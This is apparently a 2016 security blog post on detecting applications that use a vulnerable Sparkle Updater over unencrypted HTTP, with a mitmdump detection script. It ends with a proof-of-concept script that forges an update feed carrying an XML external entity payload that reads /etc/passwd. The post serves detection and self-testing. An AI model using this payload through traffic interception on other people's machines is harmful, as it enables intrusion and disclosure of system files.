How to detect the Sparkle Updater vulnerability
January 29, 2016
In the previous article, I described how to hack OS X by abusing vulnerable application. The method was based on the MITM attack to elevate your privileges to that of the currently logged in user on the remote machine.
The attack works well, but you must be aware of all requirements:
- Target is an OS X machine
- There is a vulnerable application installed on a target host
- You have LAN traffic in your control (ARP/DNS spoofing)
Detection
This step is rather straightforward, and you can verify it on your local OS X machine or just inspect the network traffic. You need to look for an indicator of the Sparkle Updater activity. It is possible to detect the request or the response while those two share similar static content.
Sparkle Updater requests looks like this:
GET /vlc/sparkle/vlc-intel64.xml HTTP/1.1
Host: update.videolan.org
Accept: */*
Accept-Language: en-us
Connection: keep-alive
Accept-Encoding: gzip, deflate
User-Agent: VLC/2.2.1 Sparkle/a425c42
And here is the response:
<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>VLC Changelog</title>
<link>http://update.videolan.org/vlc/sparkle/vlc.xml</link>
<description>Most recent changes with links to updates.</description>
<language>en</language>
[...]
For the request, there is a generic User-Agent
header with a value of VLC/2.2.1 Sparkle/a425c42
.
You can extract software name as well as its current version.
It is enough to determine that:
- Application is using the Sparkle Updater
- Traffic is not encrypted (http instead of https) since you can sniff this transmission
- It is vulnerable to our attack
You can also validate that by extracting static string from the response that is xmlns:sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle"
.
As far as those two factors are not going to change then it is possible to detect vulnerable applications on your computer.
Automation
There is an easier method than using Wireshark for checking if your application is vulnerable. Furthermore, it can be detected automatically with a simple Python script and mitmdump tool.
System Web Proxy
Now we know that we need to inspect the network traffic to detect vulnerable applications.
We need to set up a proxy that is going to intercept the traffic from our machine.
It is relatively easy on Mac OS X by setting it inside System Preferences -> Network -> [Your Active Network Adapter] -> Advanced
:
Your active network adapter is a green one, red means it is disabled.
Select the Web Proxy (HTTP)
and then fill up configuration fields with localhost
value for host and 7070
for port number. Now go back to your terminal and install mitmproxy tool.
$ brew install mitmproxy
[...]
$ mitmproxy --version
mitmproxy 0.14.0
$ mitmdump --version
mitmdump 0.14.0
It seems that everything is working fine, and we are ready to write an automation script.
Mitmdump
Mitmdump installs in one package together with mitmproxy. It is a useful tool that allows you to intercept, modify, inspect and replay the network traffic. For more information you should read the mitmproxy documentation.
The most convenient way to automate our detection method is to write a script for mitmdump.
It uses Python as a scripting language and works by exposing a set of event methods like request
or response
.
The source code for detection scripts (detect.py) looks as follows:
def request(context, flow):
uagent = flow.request.headers["User-Agent"]
if "Sparkle/" in uagent:
print "Vulnerable app: " + uagent.split(" Sparkle/")[0]
It extracts 'User-Agent' header from headers array and then tests if it contains "Sparkle/" string. If true, then we have a vulnerable application.
Run this simple script, open vulnerable applications, and look for the name and version as it popups on your console.
$ mitmdump -s detect.py -p 7070 -q
Vulnerable app: Sequel Pro/1.1
Vulnerable app: Adium/1.5.10
Vulnerable app: Mou/0.8.7
POC
Use the script posted below, run mitmdump
with inline script parameter and check for update from vulnerable application.
If affected then you should see the content of /etc/passwd
file from your computer like below:
Source code:
from libmproxy.models import decoded
forge_request = False
xml_response = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle" version="2.0">
<channel>
<title>Example App</title>
<link>http://www.example.com/</link>
<description>Appcast</description>
<language>en</language>
<item>
<title>App version 1</title>
<description>&xxe;</description>
<pubDate>Thu, 01 Jan 1970 00:00:01 GMT</pubDate>
<enclosure url="http://example.com/dmg" length="1024" type="application/octet-stream" sparkle:dsaSignature="" sparkle:version="9999" sparkle:shortVersionString="9.99" />
</item>
</channel>
</rss>"""
def request(context, flow):
global forge_request
forge_request = False
uagent = flow.request.headers["User-Agent"]
if "Sparkle/" in uagent:
print "Potentially vulnerable app: " + uagent.split(" Sparkle/")[0]
forge_request = True
def response(context, flow):
global forge_request, xml_response
if forge_request:
with decoded(flow.response):
flow.response.content = xml_response
Other applications
If you find a vulnerable application remember to report it to the person responsible for applying patches or the author of this application.